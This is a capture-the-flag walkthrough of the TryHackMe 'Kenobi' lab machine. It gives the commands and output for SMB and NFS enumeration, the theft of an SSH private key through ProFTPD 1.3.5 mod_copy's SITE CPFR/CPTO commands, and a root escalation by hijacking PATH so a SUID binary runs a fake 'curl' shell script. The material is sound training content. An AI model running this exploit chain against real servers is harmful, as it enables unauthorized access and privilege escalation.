0xnhl

THM: Kenobi Writeup

/ Update
6 min read

Recon#

Nmap

Investigating SMB using nmap scripts

❯ nmap -p 139,445 --script=smb-enum-shares.nse,smb-enum-users.nse 10.48.136.6
Starting Nmap 7.99 ( https://nmap.org ) at 2026-09-07 12:43 -0400
Nmap scan report for 10.48.136.6
Host is up (0.039s latency).

PORT    STATE SERVICE
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds

Nmap done: 1 IP address (1 host up) scanned in 2.26 seconds
plaintext

Doesnt get any useful information but the ports open so let’s try anonymous anyway.

❯ smbclient //10.48.136.6/anonymous

Password for [WORKGROUP\nahil57]:
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Wed Sep  4 06:49:09 2019
  ..                                  D        0  Sat Aug  9 09:03:22 2025
  log.txt                             N    12237  Wed Sep  4 06:49:09 2019

                9183416 blocks of size 1024. 3006316 blocks available
smb: \> get log.txt 
getting file \log.txt of size 12237 as log.txt (77.1 KiloBytes/sec) (average 77.1 KiloBytes/sec)
smb: \> exit
plaintext

From log file we see FTP service is running as the Kenobi user on port 21 and an ssh key is generated for that user.

NFS enumeration

Looks like we can access contents inside /var.

Let’s search if there are any vulns for ProFTPD

┌──(nahil57㉿kali)-[~/boxes/kenobi]
└─$ searchsploit ProFTPD 1.3.5 
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                                                                                                            |  Path
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
ProFTPd 1.3.5 - 'mod_copy' Command Execution (Metasploit)                                                                                                                                                 | linux/remote/37262.rb
ProFTPd 1.3.5 - 'mod_copy' Remote Command Execution                                                                                                                                                       | linux/remote/36803.py
ProFTPd 1.3.5 - 'mod_copy' Remote Command Execution (2)                                                                                                                                                   | linux/remote/49908.py
ProFTPd 1.3.5 - File Copy                                                                                                                                                                                 | linux/remote/36742.txt
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
plaintext

We can see there is one with ProFtpd’s mod_copy module.
The mod_copy module implements SITE CPFR and SITE CPTO commands, which can be used to copy files/directories from one place to another on the server. Any unauthenticated client can leverage these commands to copy files from any part of the filesystem to a chosen destination.

Initial Access#

We can use Netcat to connect to ftp on port 21 and copy Kenobi’s private key to somewhere in /var

❯  nc 10.48.136.6 21
220 ProFTPD 1.3.5 Server (ProFTPD Default Installation) [10.48.136.6]
SITE CPFR /home/kenobi/.ssh/id_rsa
350 File or directory exists, ready for destination name
SITE CPTO /var/tmp/id_rsa
250 Copy successful
plaintext

Let’s mount the /var/tmp directory to our machine

❯ sudo mkdir /mnt/kenobiNFS                                                                                                                                                                    
❯ sudo mount 10.48.136.6:/var /mnt/kenobiNFS                                                                                                                                                   
❯ cd /mnt/kenobiNFS/
❯ ls
backups  cache  crash  lib  local  lock  log  mail  opt  run  snap  spool  tmp  www
❯ cd tmp/
❯ ls
cloud-init                                                                    systemd-private-fe262992f8eb4accb6210514434d5d11-systemd-logind.service-ufrL6h
id_rsa                                                                        systemd-private-fe262992f8eb4accb6210514434d5d11-systemd-resolved.service-h0HRPh
systemd-private-fe262992f8eb4accb6210514434d5d11-apache2.service-nDPNEh       systemd-private-fe262992f8eb4accb6210514434d5d11-systemd-timesyncd.service-Do7k4h
systemd-private-fe262992f8eb4accb6210514434d5d11-ModemManager.service-mN5QVh
plaintext

Let’s login to the machine as the kenobi user using the ssh key obtained.

We get the user flag.

Privilege Escalation#

Searching for files with SUID bit set

kenobi@kenobi:~$ find / -perm -u=s -type f 2>/dev/null
...
/usr/bin/newuidmap
/usr/bin/gpasswd
/usr/bin/menu
/usr/bin/sudo
/usr/bin/chsh
...
plaintext

The file /usr/bin/menu looks suspicious.

kenobi@kenobi:~$ strings /usr/bin/menu
/lib64/ld-linux-x86-64.so.2
...
***************************************
1. status check
2. kernel version
3. ifconfig
** Enter your choice :
curl -I localhost
uname -r
ifconfig
 Invalid choice
...
plaintext

Strings reveal that menu runs curl but without a full path. So it is susceptible to Path Variable Manipulation.

So now we can create a script that runs /bin/sh, name it curl, give it executable permissions and put it on path.

kenobi@kenobi:~$ cd /tmp
kenobi@kenobi:/tmp$ echo /bin/sh > curl 
kenobi@kenobi:/tmp$ chmod 777 curl
kenobi@kenobi:/tmp$ export PATH=/tmp:$PATH
plaintext

Now when the /usr/bin/menu binary is run, its using our path variable to find our “curl” binary, which just runs sh and since this file is being run as root it will run our shell as root!

We get the root flag !!.

THM: Kenobi Writeup
https://nahil.xyz/vault/writeups/tryhackme/thm-kenobi/
AuthorNahil Rasheed
Published atSeptember 7, 2026
CopyrightCC BY 4.0
DisclaimerThis content is provided strictly for educational purposes only.